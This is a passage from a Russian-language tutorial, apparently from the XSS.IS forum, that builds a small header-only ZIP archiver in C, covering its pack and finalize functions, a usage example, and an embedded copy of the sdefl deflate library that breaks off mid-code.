*destLen = sdeflate(&sdefl, cbuffer, buffer, size, SDEFL_LVL_DEF);
return cbuffer;
}
4. Пишем архиватор
Теперь у нас перед глазами есть картина того как нужно формировать zip-архив.
Давайте составим алгоритм действий для архива, состоящего из одного файла:
Для того чтобы записывать в архив много файлов, удобнее выделить два буфера:
В первый буфер мы будем записывать
[LocalFileHeader_N]
+[FILE_NAME_N]
+[FILE_DATA_N]
Во второй [CentralDirectoryFileHeader_N]
+[FILE_NAME_N]
При этом не забывая подсчитывать количество добавленных в архив файлов.
Перед тем как сохранить архив на диск, или отправить его куда-нибудь по сети,
нужно будет перенести даннные из второго буфера в первый и дописать туда же
заполненную структуру EndOfCentralDirectory.
Приступим к реализации
Объявим структуру в которой будем хранить всё нужное для нашего архива:
C:Copy to clipboard
typedef struct pico_zip
{
uint16_t filesCount;
void* buffer;
void* cdfh_buffer;
uint32_t buffer_size;
uint32_t cdfh_buffer_size;
bool isFinalized;
} pico_zip;
Функция инициализации. Выделяет память под нашу структуру pico_zip
и
возвращает указатель
C:Copy to clipboard
pico_zip * pico_zip_init()
{
pico_zip * p_zip = (pico_zip *) malloc(sizeof(pico_zip));
memset(p_zip, 0, sizeof(pico_zip));
p_zip->filesCount = 0;
p_zip->isFinalized = false;
return p_zip;
};
Вспомогательная функция append_buffer
. Принимает два буфера с их размерами.
Добавляет данные из второго буфера в первый.
C:Copy to clipboard
void * append_buffer(void **buffer, uint32_t *size, const void *in_buffer, uint32_t in_size)
{
void * tmp = realloc(*buffer, *size + in_size);
memcpy((char *)tmp+*size, in_buffer, in_size);
*size += in_size;
*buffer = tmp;
return tmp;
};
Функция pico_zip_pack
. Это, собственно, то ради чего мы все здесь собрались.
Передаем в нее имя файла, сам файл и его размер, она все посчитает и запишет
куда надо.
Имя файла в кодировке UTF-8, можно использовать "/"
в имени, для создания
каталогов в архиве, например "dir/subdir/file.txt"
C:Copy to clipboard
int pico_zip_pack(pico_zip * p_zip, const char *filename, const void *buffer, uint32_t size)
{
uint32_t compressedSize = 0;
void* cbuffer = compress_buffer(buffer, size, &compressedSize);
if (cbuffer == NULL) return 1;
struct LocalFileHeader lfh;
struct CentralDirectoryFileHeader cdfh;
memset(&lfh, 0, sizeof(lfh));
memset(&cdfh, 0, sizeof(cdfh));
lfh.signature = ZIP_LOCAL_HEADER;
cdfh.signature = ZIP_CENTRAL_HEADER;
lfh.versionToExtract = ZIP_VER_TO_EXTRACT;
lfh.crc32 = crc32((unsigned char *)buffer, size);
lfh.compressionMethod = Z_DEFLATED;
lfh.compressedSize = compressedSize;
lfh.uncompressedSize = size;
lfh.filenameLength = strlen(filename);
lfh.generalPurposeBitFlag = 1 << 11;
cdfh.versionToExtract = lfh.versionToExtract;
cdfh.versionMadeBy = ZIP_VER_MADE_BY;
cdfh.compressedSize =lfh.compressedSize;
cdfh.uncompressedSize = lfh.uncompressedSize;
cdfh.compressionMethod = lfh.compressionMethod;
cdfh.crc32 = lfh.crc32;
cdfh.filenameLength = lfh.filenameLength;
cdfh.generalPurposeBitFlag = lfh.generalPurposeBitFlag;
cdfh.localFileHeaderOffset = p_zip->buffer_size;
append_buffer(&p_zip->buffer, &p_zip->buffer_size, &lfh, sizeof(lfh));
append_buffer(&p_zip->buffer, &p_zip->buffer_size, (void* )filename, strlen(filename));
append_buffer(&p_zip->buffer, &p_zip->buffer_size, cbuffer, compressedSize);
p_zip->filesCount++;
append_buffer(&p_zip->cdfh_buffer, &p_zip->cdfh_buffer_size, &cdfh, sizeof(cdfh));
append_buffer(&p_zip->cdfh_buffer, &p_zip->cdfh_buffer_size, (void* )filename, strlen(filename));
free(cbuffer);
return 0;
};
Функция pico_zip_finalize
. Её нужно вызвать перед тем как мы закончим работу
с архивом. Она соединит все наши буферы в один и сформирует
EndOfCentralDirectory.
Так же в нее можно передать комментарий для архива
C:Copy to clipboard
int pico_zip_finalize(pico_zip * p_zip, const char *comment){
struct EndOfCentralDirectory eocd;
memset(&eocd, 0, sizeof(eocd));
eocd.signature = ZIP_END_CENTRAL_HEADER;
eocd.centralDirectoryOffset = p_zip -> buffer_size;
eocd.numberCentralDirectoryRecord = p_zip -> filesCount;
eocd.totalCentralDirectoryRecord = p_zip -> filesCount;
eocd.sizeOfCentralDirectory = p_zip -> cdfh_buffer_size;
eocd.commentLength=strlen(comment);
append_buffer(&p_zip->buffer, &p_zip->buffer_size, p_zip->cdfh_buffer, p_zip->cdfh_buffer_size);
append_buffer(&p_zip->buffer, &p_zip->buffer_size, (void*)&eocd, sizeof(eocd));
append_buffer(&p_zip->buffer, &p_zip->buffer_size, (void*)comment, eocd.commentLength);
p_zip -> isFinalized = true;
return 0;
};
Ну и после того как закончили с архивом не забудем освободить память функцией
pico_zip_free
C:Copy to clipboard
int pico_zip_free(pico_zip * p_zip){
free(p_zip -> cdfh_buffer);
free(p_zip -> buffer);
p_zip -> filesCount = 0;
p_zip -> buffer_size = 0;
p_zip -> cdfh_buffer_size = 0;
p_zip -> isFinalized = false;
};
Теперь осталось объединить исходный код библиотеки sdefl.h
с нашим кодом и у
нас получится итоговая header-only library.
Пример использования:
C:Copy to clipboard
#include <stdio.h>
#include <stdlib.h>
#include "pico_zip.h"
int main(int argc, char *argv[])
{
char * data = "Hello from XSS.IS";
char * data1 = "AAAAAAAAAAAAAAAAA";
pico_zip * zip = pico_zip_init();
pico_zip_pack(zip, "xss.is.txt", (void *)data, strlen(data));
pico_zip_pack(zip, "йцукен/こんにちは.txt", (void *)data1, strlen(data1));
pico_zip_finalize(zip, "Comment-48949d91d9ew19ewf");
FILE *output = NULL;
output = fopen("output.zip", "wb");
fwrite(zip->buffer, zip->buffer_size, 1, output);
fclose(output);
pico_zip_free(zip);
return 0;
}
Компилируем, исполняем, смотрим:
Bash:Copy to clipboard
unzip -l output.zip
Bash:Copy to clipboard
Archive: output.zip
Comment-48949d91d9ew19ewf
Length Date Time Name
--------- ---------- ----- ----
17 1980-00-00 00:00 xss.is.txt
17 1980-00-00 00:00 йцукен/こんにちは.txt
--------- -------
34 2 files
В полученом архиве мы можем заметить интересный момент, как строка 'Hello from XSS.IS'
в сжатом виде заняла на 5 байтов больше места чем несжатая. При
этом 'AAAAAAAAAAAAAAAAA'
сжалась (но всего на 2 байта).
По правильному это лучше обрабатывать и записывать в архив то, что занимает
меньше места, но это мы оставим на совести читателей.
5. Итог.
В этой статье мы узнали внутренности zip-архива и научились самостоятельно архивировать файлы с помощью собственной библиотеки. Библиотека получилась миниатюрная, меньше 1000 строк, где ~70 процентов занимает алгоритм сжатия, а код для архивации оставшиеся ~30 процентов. Полный исходный код прикреплен ниже.
Spoiler: pico_zip.h
C:Copy to clipboard
#pragma once
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdbool.h>
#include <string.h>
#include <assert.h>
////////////////
//from https://github.com/vurtun/lib/blob/master/sdefl.h
/*# Small Deflate
`sdefl` is a small bare bone lossless compression library in ANSI C (ISO C90)
which implements the Deflate (RFC 1951) compressed data format specification standard.
It is mainly tuned to get as much speed and compression ratio from as little code
as needed to keep the implementation as concise as possible.
## Features
- Portable single header and source file duo written in ANSI C (ISO C90)
- Dual license with either MIT or public domain
- Small implementation
- Deflate: 525 LoC
- Inflate: 320 LoC
- Webassembly:
- Deflate ~3.7 KB (~2.2KB compressed)
- Inflate ~3.6 KB (~2.2KB compressed)
## Usage:
This file behaves differently depending on what symbols you define
before including it.
Header-File mode:
If you do not define `SDEFL_IMPLEMENTATION` before including this file, it
will operate in header only mode. In this mode it declares all used structs
and the API of the library without including the implementation of the library.
Implementation mode:
If you define `SDEFL_IMPLEMENTATION` before including this file, it will
compile the implementation . Make sure that you only include
this file implementation in *one* C or C++ file to prevent collisions.
### Benchmark
| Compressor name | Compression| Decompress.| Compr. size | Ratio |
| ------------------------| -----------| -----------| ----------- | ----- |
| miniz 1.0 -1 | 122 MB/s | 208 MB/s | 48510028 | 48.51 |
| miniz 1.0 -6 | 27 MB/s | 260 MB/s | 36513697 | 36.51 |
| miniz 1.0 -9 | 23 MB/s | 261 MB/s | 36460101 | 36.46 |
| zlib 1.2.11 -1 | 72 MB/s | 307 MB/s | 42298774 | 42.30 |
| zlib 1.2.11 -6 | 24 MB/s | 313 MB/s | 36548921 | 36.55 |
| zlib 1.2.11 -9 | 20 MB/s | 314 MB/s | 36475792 | 36.48 |
| sdefl 1.0 -0 | 127 MB/s | 355 MB/s | 40004116 | 39.88 |
| sdefl 1.0 -1 | 111 MB/s | 413 MB/s | 38940674 | 38.82 |
| sdefl 1.0 -5 | 45 MB/s | 436 MB/s | 36577183 | 36.46 |
| sdefl 1.0 -7 | 38 MB/s | 432 MB/s | 36523781 | 36.41 |
| libdeflate 1.3 -1 | 147 MB/s | 667 MB/s | 39597378 | 39.60 |
| libdeflate 1.3 -6 | 69 MB/s | 689 MB/s | 36648318 | 36.65 |
| libdeflate 1.3 -9 | 13 MB/s | 672 MB/s | 35197141 | 35.20 |
| libdeflate 1.3 -12 | 8.13 MB/s | 670 MB/s | 35100568 | 35.10 |
### Compression
Results on the [Silesia compression corpus](http://sun.aei.polsl.pl/~sdeor/index.php?page=silesia):
| File | Original | `sdefl 0` | `sdefl 5` | `sdefl 7` |
| --------| -----------| -------------| ---------- | ------------|
| dickens | 10.192.446 | 4,260,187 | 3,845,261 | 3,833,657 |
| mozilla | 51.220.480 | 20,774,706 | 19,607,009 | 19,565,867 |
| mr | 9.970.564 | 3,860,531 | 3,673,460 | 3,665,627 |
| nci | 33.553.445 | 4,030,283 | 3,094,526 | 3,006,075 |
| ooffice | 6.152.192 | 3,320,063 | 3,186,373 | 3,183,815 |
| osdb | 10.085.684 | 3,919,646 | 3,649,510 | 3,649,477 |
| reymont | 6.627.202 | 2,263,378 | 1,857,588 | 1,827,237 |
| samba | 21.606.400 | 6,121,797 | 5,462,670 | 5,450,762 |
| sao | 7.251.944 | 5,612,421 | 5,485,380 | 5,481,765 |
| webster | 41.458.703 | 13,972,648 | 12,059,432 | 11,991,421 |
| xml | 5.345.280 | 886,620 | 674,009 | 662,141 |
| x-ray | 8.474.240 | 6,304,655 | 6,244,779 | 6,244,779 |
## License
```
------------------------------------------------------------------------------
This software is available under 2 licenses -- choose whichever you prefer.
------------------------------------------------------------------------------
ALTERNATIVE A - MIT License
Copyright (c) 2020-2023 Micha Mettke
Permission is hereby granted, free of charge, to any person obtaining a copy of
this software and associated documentation files (the "Software"), to deal in
the Software without restriction, including without limitation the rights to
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
of the Software, and to permit persons to whom the Software is furnished to do
so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
------------------------------------------------------------------------------
ALTERNATIVE B - Public Domain (www.unlicense.org)
This is free and unencumbered software released into the public domain.
Anyone is free to copy, modify, publish, use, compile, sell, or distribute this
software, either in source code form or as a compiled binary, for any purpose,
commercial or non-commercial, and by any means.
In jurisdictions that recognize copyright laws, the author or authors of this
software dedicate any and all copyright interest in the software to the public
domain. We make this dedication for the benefit of the public at large and to
the detriment of our heirs and successors. We intend this dedication to be an
overt act of relinquishment in perpetuity of all present and future rights to
this software under copyright law.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
------------------------------------------------------------------------------
```
*/
#ifdef __cplusplus
extern "C" {
#endif
#define SDEFL_MAX_OFF (1 << 15)
#define SDEFL_WIN_SIZ SDEFL_MAX_OFF
#define SDEFL_WIN_MSK (SDEFL_WIN_SIZ-1)
#define SDEFL_HASH_BITS 15
#define SDEFL_HASH_SIZ (1 << SDEFL_HASH_BITS)
#define SDEFL_HASH_MSK (SDEFL_HASH_SIZ-1)
#define SDEFL_MIN_MATCH 4
#define SDEFL_BLK_MAX (256*1024)
#define SDEFL_SEQ_SIZ ((SDEFL_BLK_MAX+2)/3)
#define SDEFL_SYM_MAX (288)
#define SDEFL_OFF_MAX (32)
#define SDEFL_PRE_MAX (19)
#define SDEFL_LVL_MIN 0
#define SDEFL_LVL_DEF 5
#define SDEFL_LVL_MAX 8
struct sdefl_freq {
unsigned lit[SDEFL_SYM_MAX];
unsigned off[SDEFL_OFF_MAX];
};
struct sdefl_code_words {
unsigned lit[SDEFL_SYM_MAX];
unsigned off[SDEFL_OFF_MAX];
};
struct sdefl_lens {
unsigned char lit[SDEFL_SYM_MAX];
unsigned char off[SDEFL_OFF_MAX];
};
struct sdefl_codes {
struct sdefl_code_words word;
struct sdefl_lens len;
};
struct sdefl_seqt {
int off, len;
};
struct sdefl {
int bits, bitcnt;
int tbl[SDEFL_HASH_SIZ];
int prv[SDEFL_WIN_SIZ];
int seq_cnt;
struct sdefl_seqt seq[SDEFL_SEQ_SIZ];
struct sdefl_freq freq;
struct sdefl_codes cod;
};
extern int sdefl_bound(int in_len);
extern int sdeflate(struct sdefl *s, void *o, const void *i, int n, int lvl);
#ifdef __cplusplus
}
#endif
#define CHAR_BIT 8
#define SDEFL_NIL (-1)
#define SDEFL_MAX_MATCH 258
#define SDEFL_MAX_CODE_LEN (15)
#define SDEFL_SYM_BITS (10u)
#define SDEFL_SYM_MSK ((1u << SDEFL_SYM_BITS)-1u)
#define SDEFL_RAW_BLK_SIZE (65535)
#define SDEFL_LIT_LEN_CODES (14)
#define SDEFL_OFF_CODES (15)
#define SDEFL_PRE_CODES (7)
#define SDEFL_CNT_NUM(n) ((((n)+3u/4u)+3u)&~3u)
#define SDEFL_EOB (256)
#define sdefl_npow2(n) (1 << (sdefl_ilog2((n)-1) + 1))
#define sdefl_div_round_up(n,d) (((n)+((d)-1))/(d))
static int
sdefl_ilog2(int n) {
if (!n) return 0;
#ifdef _MSC_VER
unsigned long msbp = 0;
_BitScanReverse(&msbp, (unsigned long)n);
return (int)msbp;
#elif defined(__GNUC__) || defined(__clang__)
return (int)sizeof(unsigned long) * CHAR_BIT - 1 - __builtin_clzl((unsigned long)n);
#else
#define lt(n) n, n, n, n, n, n, n, n, n, n, n, n, n, n, n, n
static const char tbl[256] = {
0,0,1,1,2,2,2,2,3,3,3,3,3,3,3,3,lt(4), lt(5), lt(5), lt(6), lt(6), lt(6), lt(6),
lt(7), lt(7), lt(7), lt(7), lt(7), lt(7), lt(7), lt(7)};
int tt, t;
if ((tt = (n >> 16))) {
return (t = (tt >> 8)) ? 24 + tbl[t] : 16 + tbl[tt];
} else {
return (t = (n >> 8)) ? 8 + tbl[t] : tbl[n];
}
#undef lt
#endif
}
static unsigned
sdefl_uload32(const void *p) {
/* hopefully will be optimized to an unaligned read */
unsigned n = 0;
memcpy(&n, p, sizeof(n));
return n;
}
static unsigned
sdefl_hash32(const void *p) {
unsigned n = sdefl_uload32(p);
return (n * 0x9E377989) >> (32 - SDEFL_HASH_BITS);
}
static void
sdefl_put(unsigned char **dst, struct sdefl *s, int code, int bitcnt) {
s->bits |= (code << s->bitcnt);
s->bitcnt += bitcnt;
while (s->bitcnt >= 8) {
unsigned char *tar = *dst;
*tar = (unsigned char)(s->bits & 0xFF);
s->bits >>= 8;
s->bitcnt -= 8;
*dst = *dst + 1;
}
}
static void
sdefl_heap_sub(unsigned A[], unsigned len, unsigned sub) {
unsigned c, p = sub;
unsigned v = A[sub];
while ((c = p << 1) <= len) {
if (c < len && A[c + 1] > A[c]) c++;
if (v >= A[c]) break;
A[p] = A[c], p = c;
}
A[p] = v;
}
static void
sdefl_heap_array(unsigned *A, unsigned len) {
unsigned sub;
for (sub = len >> 1; sub >= 1; sub--)
sdefl_heap_sub(A, len, sub);
}
static void
sdefl_heap_sort(unsigned *A, unsigned n) {
A--;
sdefl_heap_array(A, n);
while (n >= 2) {
unsigned tmp = A[n];
A[n--] = A[1];
A[1] = tmp;
sdefl_heap_sub(A, n, 1);
}
}
static unsigned
sdefl_sort_sym(unsigned sym_cnt, unsigned *freqs,
unsigned char *lens, unsigned *sym_out) {
unsigned cnts[SDEFL_CNT_NUM(SDEFL_SYM_MAX)] = {0};
unsigned cnt_num = SDEFL_CNT_NUM(sym_cnt);
unsigned used_sym = 0;
unsigned sym, i;
for (sym = 0; sym < sym_cnt; sym++)
cnts[freqs[sym] < cnt_num-1 ? freqs[sym]: cnt_num-1]++;
for (i = 1; i < cnt_num; i++) {
unsigned cnt = cnts[i];
cnts[i] = used_sym;
used_sym += cnt;
}
for (sym = 0; sym < sym_cnt; sym++) {
unsigned freq = freqs[sym];
if (freq) {
unsigned idx = freq < cnt_num-1 ? freq : cnt_num-1;
sym_out[cnts[idx]++] = sym | (freq << SDEFL_SYM_BITS);
} else lens[sym] = 0;
}
sdefl_heap_sort(sym_out + cnts[cnt_num-2], cnts[cnt_num-1] - cnts[cnt_num-2]);
return used_sym;
}
static void
sdefl_build_tree(unsigned *A, unsigned sym_cnt) {
unsigned i = 0, b = 0, e = 0;
do {
unsigned m, n, freq_shift;
if (i != sym_cnt && (b == e || (A[i] >> SDEFL_SYM_BITS) <= (A[b] >> SDEFL_SYM_BITS)))
m = i++;
else m = b++;
if (i != sym_cnt && (b == e || (A[i] >> SDEFL_SYM_BITS) <= (A[b] >> SDEFL_SYM_BITS)))
n = i++;
else n = b++;
freq_shift = (A[m] & ~SDEFL_SYM_MSK) + (A[n] & ~SDEFL_SYM_MSK);
A[m] = (A[m] & SDEFL_SYM_MSK) | (e << SDEFL_SYM_BITS);
A[n] = (A[n] & SDEFL_SYM_MSK) | (e << SDEFL_SYM_BITS);
A[e] = (A[e] & SDEFL_SYM_MSK) | freq_shift;
} while (sym_cnt - ++e > 1);
}
static void
sdefl_gen_len_cnt(unsigned *A, unsigned root, unsigned *len_cnt,
unsigned max_code_len) {
int n;
unsigned i;
for (i = 0; i <= max_code_len; i++)
len_cnt[i] = 0;
len_cnt[1] = 2;
A[root] &= SDEFL_SYM_MSK;
for (n = (int)root - 1; n >= 0; n--) {
unsigned p = A[n] >> SDEFL_SYM_BITS;
unsigned pdepth = A[p] >> SDEFL_SYM_BITS;
unsigned depth = pdepth + 1;
unsigned len = depth;
A[n] = (A[n] & SDEFL_SYM_MSK) | (depth << SDEFL_SYM_BITS);
if (len >= max_code_len) {
len = max_code_len;
do len--; while (!len_cnt[len]);
}
len_cnt[len]--;
len_cnt[len+1] += 2;
}
}
static void
sdefl_gen_codes(unsigned *A, unsigned char *lens, const unsigned *len_cnt,
unsigned max_code_word_len, unsigned sym_cnt) {
unsigned i, sym, len, nxt[SDEFL_MAX_CODE_LEN + 1];
for (i = 0, len = max_code_word_len; len >= 1; len--) {
unsigned cnt = len_cnt[len];
while (cnt--) lens[A[i++] & SDEFL_SYM_MSK] = (unsigned char)len;
}
nxt[0] = nxt[1] = 0;
for (len = 2; len <= max_code_word_len; len++)
nxt[len] = (nxt[len-1] + len_cnt[len-1]) << 1;
for (sym = 0; sym < sym_cnt; sym++)
A[sym] = nxt[lens[sym]]++;
}
static unsigned
sdefl_rev(unsigned c, unsigned char n) {
c = ((c & 0x5555) << 1) | ((c & 0xAAAA) >> 1);
c = ((c & 0x3333) << 2) | ((c & 0xCCCC) >> 2);
c = ((c & 0x0F0F) << 4) | ((c & 0xF0F0) >> 4);
c = ((c & 0x00FF) << 8) | ((c & 0xFF00) >> 8);
return c >> (16-n);
}
static void
sdefl_huff(unsigned char *lens, unsigned *codes, unsigned *freqs,
unsigned num_syms, unsigned max_code_len) {
unsigned c, *A = codes;
unsigned len_cnt[SDEFL_MAX_CODE_LEN + 1];
unsigned used_syms = sdefl_sort_sym(num_syms, freqs, lens, A);
if (!used_syms) return;
if (used_syms == 1) {
unsigned s = A[0] & SDEFL_SYM_MSK;
unsigned i = s ? s : 1;
codes[0] = 0, lens[0] = 1;
codes[i] = 1, lens[i] = 1;
return;
}
sdefl_build_tree(A, used_syms);
sdefl_gen_len_cnt(A, used_syms-2, len_cnt, max_code_len);
sdefl_gen_codes(A, lens, len_cnt, max_code_len, num_syms);
for (c = 0; c < num_syms; c++) {
codes[c] = sdefl_rev(codes[c], lens[c]);
}
}
struct sdefl_symcnt {
int items;
int lit;
int off;
};
static void
sdefl_precode(struct sdefl_symcnt *cnt, unsigned *freqs, unsigned *items,
const unsigned char *litlen, const unsigned char *offlen) {
unsigned *at = items;
unsigned run_start = 0;
unsigned total = 0;
unsigned char lens[SDEFL_SYM_MAX + SDEFL_OFF_MAX];
for (cnt->lit = SDEFL_SYM_MAX; cnt->lit > 257; cnt->lit--)
if (litlen[cnt->lit - 1]) break;
for (cnt->off = SDEFL_OFF_MAX; cnt->off > 1; cnt->off--)
if (offlen[cnt->off - 1]) break;
total = (unsigned)(cnt->lit + cnt->off);
memcpy(lens, litlen, sizeof(unsigned char) * (size_t)cnt->lit);
memcpy(lens + cnt->lit, offlen, sizeof(unsigned char) * (size_t)cnt->off);
do {
unsigned len = lens[run_start];
unsigned run_end = run_start;
do run_end++; while (run_end != total && len == lens[run_end]);
if (!len) {
while ((run_end - run_start) >= 11) {
unsigned n = (run_end - run_start) - 11;
unsigned xbits = n < 0x7f ? n : 0x7f;
freqs[18]++;
*at++ = 18u | (xbits << 5u);
run_start += 11 + xbits;
}
if ((run_end - run_start) >= 3) {
unsigned n = (run_end - run_start) - 3;
unsigned xbits = n < 0x7 ? n : 0x7;
freqs[17]++;
*at++ = 17u | (xbits << 5u);
run_start += 3 + xbits;
}
} else if ((run_end - run_start) >= 4) {
freqs[len]++;
*at++ = len;
run_start++;
do {
unsigned xbits = (run_end - run_start) - 3;
xbits = xbits < 0x03 ? xbits : 0x03;
*at++ = 16 | (xbits << 5);
run_start += 3 + xbits;
freqs[16]++;
} while ((run_end - run_start) >= 3);
}
while (run_start != run_end) {
freqs[len]++;
*at++ = len;
run_start++;
}
} while (run_start != total);
cnt->items = (int)(at - items);
}
struct sdefl_match_codest {
int ls, lc;
int dc, dx;
};
static void
sdefl_match_codes(struct sdefl_match_codest *cod, int dist, int len) {
static const short dxmax[] = {0,6,12,24,48,96,192,384,768,1536,3072,6144,12288,24576};
static const unsigned char lslot[258+1] = {
0, 0, 0, 0, 1, 2, 3, 4, 5, 6, 7, 8, 8, 9, 9, 10, 10, 11, 11, 12, 12, 12,
12, 13, 13, 13, 13, 14, 14, 14, 14, 15, 15, 15, 15, 16, 16, 16, 16, 16,
16, 16, 16, 17, 17, 17, 17, 17, 17, 17, 17, 18, 18, 18, 18, 18, 18, 18,
18, 19, 19, 19, 19, 19, 19, 19, 19, 20, 20, 20, 20, 20, 20, 20, 20, 20,
20, 20, 20, 20, 20, 20, 20, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21, 21,
21, 21, 21, 21, 21, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22, 22,
22, 22, 22, 23, 23, 23, 23, 23, 23, 23, 23, 23, 23, 23, 23, 23, 23, 23,
23, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24,
24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 24, 25, 25, 25,
25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25,
25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 26, 26, 26, 26, 26, 26, 26,
26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26, 26,
26, 26, 26, 26, 26, 26, 26, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27,
27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27, 27,
27, 27, 28
};
assert(len <= 258);
assert(dist <= 32768);
cod->ls = lslot[len];
cod->lc = 257 + cod->ls;
assert(cod->lc <= 285);
cod->dx = sdefl_ilog2(sdefl_npow2(dist) >> 2);
cod->dc = cod->dx ? ((cod->dx + 1) << 1) + (dist > dxmax[cod->dx]) : dist-1;
}
enum sdefl_blk_type {
SDEFL_BLK_UCOMPR,
SDEFL_BLK_DYN
};
static enum sdefl_blk_type
sdefl_blk_type(const struct sdefl *s, int blk_len, int pre_item_len,
const unsigned *pre_freq, const unsigned char *pre_len) {
static const unsigned char x_pre_bits[] = { 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,3,7};
static const unsigned char x_len_bits[] = {0,0,0,0,0,0,0,0, 1,1,1,1,2,2,2,2,
3,3,3,3,4,4,4,4, 5,5,5,5,0};
static const unsigned char x_off_bits[] = {0,0,0,0,1,1,2,2, 3,3,4,4,5,5,6,6,
7,7,8,8,9,9,10,10, 11,11,12,12,13,13};
int dyn_cost = 0;
int fix_cost = 0;
int sym = 0;
dyn_cost += 5 + 5 + 4 + (3 * pre_item_len);
for (sym = 0; sym < SDEFL_PRE_MAX; sym++)
dyn_cost += pre_freq[sym] * (x_pre_bits[sym] + pre_len[sym]);
for (sym = 0; sym < 256; sym++)
dyn_cost += s->freq.lit[sym] * s->cod.len.lit[sym];
dyn_cost += s->cod.len.lit[SDEFL_EOB];
for (sym = 257; sym < 286; sym++)
dyn_cost += s->freq.lit[sym] * (x_len_bits[sym - 257] + s->cod.len.lit[sym]);
for (sym = 0; sym < 30; sym++)
dyn_cost += s->freq.off[sym] * (x_off_bits[sym] + s->cod.len.off[sym]);
fix_cost += 8*(5 * sdefl_div_round_up(blk_len, SDEFL_RAW_BLK_SIZE) + blk_len + 1 + 2);
return (dyn_cost < fix_cost) ? SDEFL_BLK_DYN : SDEFL_BLK_UCOMPR;
}
static void
sdefl_put16(unsigned char **dst, unsigned short x) {
unsigned char *val = *dst;
val[0] = (unsigned char)(x & 0xff);
val[1] = (unsigned char)(x >> 8);
*dst = val + 2;
}
static void
sdefl_match(unsigned char **dst, struct sdefl *s, int dist, int len) {
static const char lxn[] = {0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0};
static const short lmin[] = {3,4,5,6,7,8,9,10,11,13,15,17,19,23,27,31,35,43,
51,59,67,83,99,115,131,163,195,227,258};
static const short dmin[] = {1,2,3,4,5,7,9,13,17,25,33,49,65,97,129,193,257,
385,513,769,1025,1537,2049,3073,4097,6145,8193,12289,16385,24577};
struct sdefl_match_codest cod;
sdefl_match_codes(&cod, dist, len);
sdefl_put(dst, s, (int)s->cod.word.lit[cod.lc], s->cod.len.lit[cod.lc]);
sdefl_put(dst, s, len - lmin[cod.ls], lxn[cod.ls]);
sdefl_put(dst, s, (int)s->cod.word.off[cod.dc], s->cod.len.off[cod.dc]);
sdefl_put(dst, s, dist - dmin[cod.dc], cod.dx);
}
static void
sdefl_flush(unsigned char **dst, struct sdefl *s, int is_last,
const unsigned char *in, int blk_begin, int blk_end) {
int blk_len = blk_end - blk_begin;
int j, i = 0, item_cnt = 0;
struct sdefl_symcnt symcnt = {0};
unsigned codes[SDEFL_PRE_MAX];
unsigned char lens[SDEFL_PRE_MAX];
unsigned freqs[SDEFL_PRE_MAX] = {0};
unsigned items[SDEFL_SYM_MAX + SDEFL_OFF_MAX];
static const unsigned char perm[SDEFL_PRE_MAX] = {16,17,18,0,8,7,9,6,10,5,11,
4,12,3,13,2,14,1,15};
/* calculate huffman codes */
s->freq.lit[SDEFL_EOB]++;
sdefl_huff(s->cod.len.lit, s->cod.word.lit, s->freq.lit, SDEFL_SYM_MAX, SDEFL_LIT_LEN_CODES);
sdefl_huff(s->cod.len.off, s->cod.word.off, s->freq.off, SDEFL_OFF_MAX, SDEFL_OFF_CODES);
sdefl_precode(&symcnt, freqs, items, s->cod.len.lit, s->cod.len.off);
sdefl_huff(lens, codes, freqs, SDEFL_PRE_MAX, SDEFL_PRE_CODES);
for (item_cnt = SDEFL_PRE_MAX; item_cnt > 4; item_cnt--) {
if (lens[perm[item_cnt - 1]]){
break;
}
}
/* write block */
switch (sdefl_blk_type(s, blk_len, item_cnt, freqs, lens)) {
case SDEFL_BLK_UCOMPR: {
/* uncompressed blocks */
int n = sdefl_div_round_up(blk_len, SDEFL_RAW_BLK_SIZE);
for (i = 0; i < n; ++i) {
int fin = is_last && (i + 1 == n);
int amount = blk_len < SDEFL_RAW_BLK_SIZE ? blk_len : SDEFL_RAW_BLK_SIZE;
sdefl_put(dst, s, !!fin, 1); /* block */
sdefl_put(dst, s, 0x00, 2); /* stored block */
if (s->bitcnt) {
sdefl_put(dst, s, 0x00, 8 - s->bitcnt);
}
assert(s->bitcnt == 0);
sdefl_put16(dst, (unsigned short)amount);
sdefl_put16(dst, ~(unsigned short)amount);
memcpy(*dst, in + blk_begin + i * SDEFL_RAW_BLK_SIZE, amount);
*dst = *dst + amount;
blk_len -= amount;
}
} break;
case SDEFL_BLK_DYN: {
/* dynamic huffman block */
